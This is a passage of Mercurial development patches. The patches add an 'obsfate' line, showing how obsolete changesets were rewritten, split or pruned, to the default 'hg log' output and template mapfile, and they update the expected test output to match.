-  | x  7:3750ebee865d B_0 [rewritten as 3:392fd25390da (at 1970-01-01 00:00 +0000)]
+  | x  7:3750ebee865d B_0 [rewritten as 3:392fd25390da]
   | |
-  | x  6:e442cfc57690 A_5 [rewritten as 10:bed64f5d2f5a (at 1970-01-01 00:00 +0000); split as 8:7ae126973a96, 9:14608b260df8 (at 1970-01-01 00:00 +0000)]
+  | x  6:e442cfc57690 A_5 [rewritten as 10:bed64f5d2f5a; split as 8:7ae126973a96, 9:14608b260df8]
   |/
-  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690 (at 1970-01-01 00:00 +0000)]
+  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690]
   |/
   | o  4:01f36c5a8fda A_3
   |/
-  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a (at 1970-01-01 00:00 +0000)]
+  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a]
   |/
-  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda (at 1970-01-01 00:00 +0000)]
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda]
   |/
-  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da]
   |/
   @  0:d20a80d4def3 base
   
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -159,9 +159,9 @@
   5:5601fb93a350 (draft) [tip ] add new_3_c
   $ hg heads --hidden
   5:5601fb93a350 (draft) [tip ] add new_3_c
-  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350 (between 1970-01-01 00:22 +0000 and 1970-01-01 00:22 +0000)]
-  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9 (at 1970-01-01 00:22 +0000)]
-  2:245bde4270cd (draft *obsolete*) [ ] add original_c [rewritten as 3:cdbce2fbb163 (at 1970-01-01 00:00 -0002)]
+  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350]
+  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9]
+  2:245bde4270cd (draft *obsolete*) [ ] add original_c [rewritten as 3:cdbce2fbb163]
 
 
 check that summary does not report them
@@ -277,11 +277,11 @@
   $ hg log -G --hidden
   @  6:6f9641995072 (draft) [tip ] add n3w_3_c
   |
-  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c [rewritten as 6:6f9641995072 (at 1970-01-01 00:22 +0000)]
+  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c [rewritten as 6:6f9641995072]
   |/
-  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350 (between 1970-01-01 00:22 +0000 and 1970-01-01 00:22 +0000)]
+  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350]
   |/
-  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9 (at 1970-01-01 00:22 +0000)]
+  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9]
   |/
   | o  2:245bde4270cd (public) [ ] add original_c
   |/
@@ -435,11 +435,11 @@
   $ hg -R clone-dest log -G --hidden
   @  6:6f9641995072 (draft) [tip ] add n3w_3_c
   |
-  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c [rewritten as 6:6f9641995072 (at 1970-01-01 00:22 +0000)]
+  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c [rewritten as 6:6f9641995072]
   |/
-  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350 (between 1970-01-01 00:22 +0000 and 1970-01-01 00:22 +0000)]
+  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350]
   |/
-  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9 (at 1970-01-01 00:22 +0000)]
+  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9]
   |/
   | o  2:245bde4270cd (public) [ ] add original_c
   |/
@@ -520,7 +520,7 @@
   $ hg debugobsolete | grep `getid original_d`
   94b33453f93bdb8d457ef9b770851a618bf413e1 0 {6f96419950729f3671185b847352890f074f7557} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
   $ hg log -r 'obsolete()'
-  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned (at 1970-01-01 00:00 +0000)]
+  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned]
   $ hg summary
   parent: 5:cda648ca50f5 tip (orphan)
    add original_e
@@ -532,7 +532,7 @@
   $ hg log -G -r '::orphan()'
   @  5:cda648ca50f5 (draft orphan) [tip ] add original_e
   |
-  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned (at 1970-01-01 00:00 +0000)]
+  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned]
   |
   o  3:6f9641995072 (draft) [ ] add n3w_3_c
   |
@@ -571,7 +571,7 @@
   1:7c3bad9141dc (public) [ ] add b
   2:245bde4270cd (public) [ ] add original_c
   3:6f9641995072 (draft) [ ] add n3w_3_c
-  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned (at 1970-01-01 00:00 +0000)]
+  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned]
   5:cda648ca50f5 (draft orphan) [tip ] add original_e
   $ hg push ../tmpf -f # -f because be push unstable too
   pushing to ../tmpf
@@ -595,7 +595,7 @@
   $ hg log -G
   @  5:cda648ca50f5 (draft orphan) [tip ] add original_e
   |
-  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned (at 1970-01-01 00:00 +0000)]
+  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned]
   |
   o  3:6f9641995072 (draft) [ ] add n3w_3_c
   |
@@ -636,9 +636,9 @@
   $ hg log --hidden --graph
   @  6:3de5eca88c00 (draft) [tip ] add obsolete_e
   |
-  | x  5:cda648ca50f5 (draft *obsolete*) [ ] add original_e [rewritten as 6:3de5eca88c00 by test <test@example.net> (at 1970-01-01 00:00 +0000)]
+  | x  5:cda648ca50f5 (draft *obsolete*) [ ] add original_e [rewritten as 6:3de5eca88c00 by test <test@example.net>]
   | |
-  | x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned (at 1970-01-01 00:00 +0000)]
+  | x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned]
   |/
   o  3:6f9641995072 (draft) [ ] add n3w_3_c
   |
@@ -928,7 +928,7 @@
 test the "obsolete" templatekw
 
   $ hg log -r 'obsolete()'
-  6:3de5eca88c00 (draft *obsolete*) [ ] add obsolete_e [pruned (at 1970-01-01 00:00 +0000)]
+  6:3de5eca88c00 (draft *obsolete*) [ ] add obsolete_e [pruned]
 
 test the "troubles" templatekw
 
@@ -1098,7 +1098,7 @@
   $ hg log -G
   @  2:323a9c3ddd91 (draft) [tip ] A
   |
-  | x  1:29f0c6921ddd (draft *obsolete*) [visible ] A [rewritten using amend as 2:323a9c3ddd91 (at 1970-01-01 00:00 +0000)]
+  | x  1:29f0c6921ddd (draft *obsolete*) [visible ] A [rewritten using amend as 2:323a9c3ddd91]
   |/
   o  0:d20a80d4def3 (draft) [ ] base
   
@@ -1152,7 +1152,7 @@
   $ hg log -G --hidden
   @  2:b7d587542d40 (draft) [tip ] B+
   |
-  | x  1:44526ebb0f98 (draft *obsolete*) [ ] B [rewritten using amend as 2:b7d587542d40 (at 1970-01-01 00:00 +0000)]
+  | x  1:44526ebb0f98 (draft *obsolete*) [ ] B [rewritten using amend as 2:b7d587542d40]
   |/
   o  0:4b34ecfb0d56 (draft) [ ] A
   
@@ -1279,7 +1279,7 @@
   $ hg commit --amend -m "message"
   $ hg book bookb -r 13bedc178fce --hidden
   $ hg log -r 13bedc178fce
-  4:13bedc178fce (draft *obsolete*) [ bookb] add b [rewritten using amend as 5:a9b1f8652753 (at 1970-01-01 00:00 +0000)]
+  4:13bedc178fce (draft *obsolete*) [ bookb] add b [rewritten using amend as 5:a9b1f8652753]
   $ hg book -d bookb
   $ hg log -r 13bedc178fce
   abort: hidden revision '13bedc178fce'!
@@ -1319,7 +1319,7 @@
   $ hg log -G --hidden
   @  3:b0551702f918 (draft) [tip ] 2
   |
-  | x  2:e008cf283490 (draft *obsolete*) [ ] 2 [rewritten using amend as 3:b0551702f918 (at 1970-01-01 00:00 +0000)]
+  | x  2:e008cf283490 (draft *obsolete*) [ ] 2 [rewritten using amend as 3:b0551702f918]
   |/
   o  1:e016b03fd86f (draft) [ ] 1
   |
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507209918 -7200
#      Thu Oct 05 15:25:18 2017 +0200
# Node ID d45236f3d38e4abf3a9e7b5a590e69502d03b824
# Parent  6f53a53245a2cb5ae0c713ce5970d541437e7031
log: add obsfate by default in changeset printer

Having an obsfate by default in log will be useful for users to understand why
they have obsolete and unstable changesets. Obsfate will only be shown for
obsolete changesets, which only happens if people opt-in to experimental feature.

But when obsolete changeset are visible, it is very useful to understand where
they are. Having it in log could be sufficient for most people, so they don't
have to learn a new command (like obslog which is itself useful in case of
divergences).

For example, when pulling and working directory parent become obsolete:

  $ hg pull
  ...
  working directory parent is obsolete! (f936c1697205)

This message comes from the Evolve extension.

Obsfate would comes handy:

  $ hg log -G
  o  changeset:   2:6f91013c5136
  |  tag:         tip
  |  parent:      0:4ef7b558f3ec
  |  user:        Boris Feld <boris.feld@octobus.net>
  |  date:        Mon Oct 09 16:00:27 2017 +0200
  |  summary:     A
  |
  | @  changeset:   1:f936c1697205
  |/   user:        Boris Feld <boris.feld@octobus.net>
  |    date:        Mon Oct 09 16:00:27 2017 +0200
  |    obsfate:     rewritten using amend as 2:6f91013c5136
  |    summary:     -A
  |
  o  changeset:   0:feb4dd822b8c
     user:        Boris Feld <boris.feld@octobus.net>
     date:        Tue Oct 09 16:00:00 2017 +0200
     summary:     ROOT

And once we update, we don't have an obsolete changeset in the log anymore so
we don't show obsfate anymore, most users won't see obsfate often if they
don't have obsolete changeset often:

  @  changeset:   2:6f91013c5136
  |  tag:         tip
  |  parent:      0:4ef7b558f3ec
  |  user:        Boris Feld <boris.feld@octobus.net>
  |  date:        Mon Oct 09 16:00:27 2017 +0200
  |  summary:     A
  |
  o  changeset:   0:feb4dd822b8c
     user:        Boris Feld <boris.feld@octobus.net>
     date:        Tue Oct 09 16:00:00 2017 +0200
     summary:     ROOT

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -1665,6 +1665,9 @@
             self.ui.write(_("instability: %s\n") % ', '.join(instabilities),
                           label='log.instability')
 
+        elif ctx.obsolete():
+            self._showobsfate(ctx)
+
         self._exthook(ctx)
 
         if self.ui.debugflag:
@@ -1713,6 +1716,15 @@
 
         self.showpatch(ctx, matchfn)
 
+    def _showobsfate(self, ctx):
+        obsfate = templatekw.showobsfate(repo=self.repo, ctx=ctx, ui=self.ui)
+
+        if obsfate:
+            for obsfateline in obsfate:
+                # i18n: column positioning for "hg log"
+                self.ui.write(_("obsfate:     %s\n") % obsfateline,
+                              label='log.obsfate')
+
     def _exthook(self, ctx):
         '''empty method used by extension as a hook point
         '''
diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t
--- a/tests/test-commandserver.t
+++ b/tests/test-commandserver.t
@@ -535,6 +535,7 @@
   tag:         tip
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
+  obsfate:     pruned
   summary:     .
   
   changeset:   0:eff892de26ec
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -58,11 +58,13 @@
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 3:d004c8f274b9 by test2
   |    summary:     A1
   |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 2:a468dc9b3633
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -103,6 +105,26 @@
   |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test, test2
   o  ea207398892e
   
+
+  $ hg log -G --config ui.logtemplate=
+  o  changeset:   3:d004c8f274b9
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A2
+  |
+  | @  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 3:d004c8f274b9 by test2
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
   $ hg up 'desc(A1)' --hidden
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -294,6 +316,7 @@
   | x  changeset:   1:471597cad322
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     split as 2:337fec4d2edc, 3:f257fde29c7a
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -469,11 +492,13 @@
   | x  changeset:   2:0dec01379d3b
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsfate:     rewritten as 3:eb5a0daa2192
   | |  summary:     B0
   | |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten as 3:eb5a0daa2192
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -640,6 +665,7 @@
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 2:fdf9bde5129a
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -669,6 +695,8 @@
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 2:fdf9bde5129a
+  |    obsfate:     rewritten using amend as 3:65b757b745b9
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -690,6 +718,7 @@
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 4:019fadeab383
   |    summary:     A2
   |
   | o  changeset:   2:fdf9bde5129a
@@ -702,6 +731,8 @@
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 2:fdf9bde5129a
+  |    obsfate:     rewritten using amend as 3:65b757b745b9
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -880,6 +911,7 @@
   | x  changeset:   2:0dec01379d3b
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 3:b7ea6d14e664
   |    summary:     B0
   |
   o  changeset:   1:471f378eab4c
@@ -918,16 +950,19 @@
   | |  parent:      1:471f378eab4c
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsfate:     rewritten as 4:eb5a0daa2192
   | |  summary:     B1
   | |
   | | x  changeset:   2:0dec01379d3b
   | |/   user:        test
   | |    date:        Thu Jan 01 00:00:00 1970 +0000
+  | |    obsfate:     rewritten using amend as 3:b7ea6d14e664
   | |    summary:     B0
   | |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten as 4:eb5a0daa2192
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -1166,11 +1201,13 @@
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 3:7a230b46bf61
   |    summary:     A1
   |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 2:fdf9bde5129a
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -1201,6 +1238,7 @@
   | @  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 2:7a230b46bf61
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -1608,6 +1646,8 @@
   | x  changeset:   6:4a004186e638
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 8:b18bc8331526
+  |    obsfate:     rewritten using amend as 9:0b997eb7ceee
   |    summary:     Add A,B,C
   |
   o  changeset:   5:dd800401bd8c
@@ -2051,6 +2091,7 @@
   |  tag:         tip
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  obsfate:     pruned
   |  summary:     A2
   |
   o  changeset:   2:617adc3a144c
@@ -2062,6 +2103,7 @@
   | x  changeset:   1:471597cad322
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     split as 2:617adc3a144c, 3:0d0ef4bdf70e
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -975,6 +975,7 @@
   [log.parent changeset.draft|parent:      3:6f9641995072]
   [log.user|user:        test]
   [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
+  [log.obsfate|obsfate:     pruned]
   [log.summary|summary:     add obsolete_e]
   
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507305216 -7200
#      Fri Oct 06 17:53:36 2017 +0200
# Node ID 962f7df21a73f044d171fee9c237d0c5062ae317
# Parent  d45236f3d38e4abf3a9e7b5a590e69502d03b824
obsfate: add obsfate to default mapfile

Use the verbosity aware template keyword introduced earlier. It has the nice
property of being verbosity dependent but in order to customize the obsfate
part, users will need to replace the lobsfate definition from default mapfile
with the one using template functions (by copying the one from test-obsmarker-
template.t for example).

As it's a more advanced use-case, I'm more inclined to have the same code for
the {obsfate} keyword, in the changeset printer and in the default mapfile for
consistency.

But, the definition in default mapfile could be replaced with one based on
template filter to obsfate output customization if it is a big need for users.

diff --git a/mercurial/templates/map-cmdline.default b/mercurial/templates/map-cmdline.default
--- a/mercurial/templates/map-cmdline.default
+++ b/mercurial/templates/map-cmdline.default
@@ -2,10 +2,10 @@
 # to replace some keywords with 'lkeyword', for 'labelled keyword'
 
 [templates]
-changeset = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{ltroubles}{summary}\n'
+changeset = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{ltroubles}{lobsfate}{summary}\n'
 changeset_quiet = '{lnode}'
-changeset_verbose = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{ltroubles}{lfiles}{lfile_copies_switch}{description}\n'
-changeset_debug = '{fullcset}{branches}{bookmarks}{tags}{lphase}{parents}{manifest}{user}{ldate}{ltroubles}{lfile_mods}{lfile_adds}{lfile_dels}{lfile_copies_switch}{extras}{description}\n'
+changeset_verbose = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{ltroubles}{lobsfate}{lfiles}{lfile_copies_switch}{description}\n'
+changeset_debug = '{fullcset}{branches}{bookmarks}{tags}{lphase}{parents}{manifest}{user}{ldate}{ltroubles}{lobsfate}{lfile_mods}{lfile_adds}{lfile_dels}{lfile_copies_switch}{extras}{description}\n'
 
 # File templates
 lfiles = '{if(files,
@@ -76,6 +76,10 @@
 
 status = '{status} {path}\n{if(copy, "  {copy}\n")}'
 
+# Obsfate templates, it would be removed once we introduce the obsfate
+# template fragment
+lobsfate = '{if(obsfate, "{label('log.obsfate', '{obsfate % "obsfate:     {fate}\n"}')}")}'
+
 [templatealias]
 labelcset(expr) = label(separate(" ",
                                  "log.changeset",
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -117,7 +117,27 @@
   | @  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 3:d004c8f274b9 by test2
+  |    obsfate:     rewritten using amend as 3:d004c8f274b9 by test, test2
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+
+  $ hg log -G -T "default"
+  o  changeset:   3:d004c8f274b9
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A2
+  |
+  | @  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 3:d004c8f274b9 by test, test2
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -264,6 +284,71 @@
   |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000)
   o  ea207398892e
   
+
+  $ hg log -G -T "default" --hidden
+  @  changeset:   3:d004c8f274b9
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A2
+  |
+  | x  changeset:   2:a468dc9b3633
+  |/   parent:      0:ea207398892e
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 3:d004c8f274b9 by test2
+  |    summary:     A1
+  |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 2:a468dc9b3633
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+  $ hg log -G -T "default" --hidden -v
+  @  changeset:   3:d004c8f274b9
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  files:       A0
+  |  description:
+  |  A2
+  |
+  |
+  | x  changeset:   2:a468dc9b3633
+  |/   parent:      0:ea207398892e
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000)
+  |    files:       A0
+  |    description:
+  |    A1
+  |
+  |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000)
+  |    files:       A0
+  |    description:
+  |    A0
+  |
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     files:       ROOT
+     description:
+     ROOT
+  
+  
 Test templates with splitted commit
 ===================================
 
@@ -439,6 +524,31 @@
   o  ea207398892e
   
 
+  $ hg log -G -T "default" --hidden
+  @  changeset:   3:f257fde29c7a
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A0
+  |
+  o  changeset:   2:337fec4d2edc
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A0
+  |
+  | x  changeset:   1:471597cad322
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     split as 2:337fec4d2edc, 3:f257fde29c7a
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+
 Test templates with folded commit
 =================================
 
@@ -642,6 +752,31 @@
   |/     Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
+  $ hg log -G -T "default" --hidden
+  @  changeset:   3:eb5a0daa2192
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     C0
+  |
+  | x  changeset:   2:0dec01379d3b
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsfate:     rewritten as 3:eb5a0daa2192
+  | |  summary:     B0
+  | |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten as 3:eb5a0daa2192
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
 
 Test templates with divergence
 ==============================
@@ -887,6 +1022,41 @@
   |      Obsfate: rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
+  $ hg log -G -T "default" --hidden
+  o  changeset:   4:019fadeab383
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  instability: content-divergent
+  |  summary:     A3
+  |
+  | x  changeset:   3:65b757b745b9
+  |/   parent:      0:ea207398892e
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 4:019fadeab383
+  |    summary:     A2
+  |
+  | @  changeset:   2:fdf9bde5129a
+  |/   parent:      0:ea207398892e
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    instability: content-divergent
+  |    summary:     A1
+  |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 2:fdf9bde5129a
+  |    obsfate:     rewritten using amend as 3:65b757b745b9
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
 
 Test templates with amended + folded commit
 ===========================================
@@ -1159,6 +1329,38 @@
   |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
+  $ hg log -G -T "default" --hidden
+  @  changeset:   4:eb5a0daa2192
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     C0
+  |
+  | x  changeset:   3:b7ea6d14e664
+  | |  parent:      1:471f378eab4c
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsfate:     rewritten as 4:eb5a0daa2192
+  | |  summary:     B1
+  | |
+  | | x  changeset:   2:0dec01379d3b
+  | |/   user:        test
+  | |    date:        Thu Jan 01 00:00:00 1970 +0000
+  | |    obsfate:     rewritten using amend as 3:b7ea6d14e664
+  | |    summary:     B0
+  | |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten as 4:eb5a0daa2192
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
 
 Test template with pushed and pulled obs markers
 ================================================
@@ -1337,6 +1539,25 @@
   |/     Obsfate: rewritten using amend as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
+  $ hg log -G -T "default" --hidden
+  @  changeset:   2:7a230b46bf61
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A2
+  |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten using amend as 2:7a230b46bf61
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
 
 Test template with obsmarkers cycle
 ===================================
@@ -1509,6 +1730,32 @@
   |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
   @  ea207398892e
   
+  $ hg log -G -T "default" --hidden
+  o  changeset:   3:f897c6137566
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     C0
+  |
+  | x  changeset:   2:0dec01379d3b
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsfate:     rewritten as 3:f897c6137566
+  | |  obsfate:     rewritten as 1:471f378eab4c
+  | |  summary:     B0
+  | |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsfate:     rewritten as 2:0dec01379d3b
+  |    summary:     A0
+  |
+  @  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
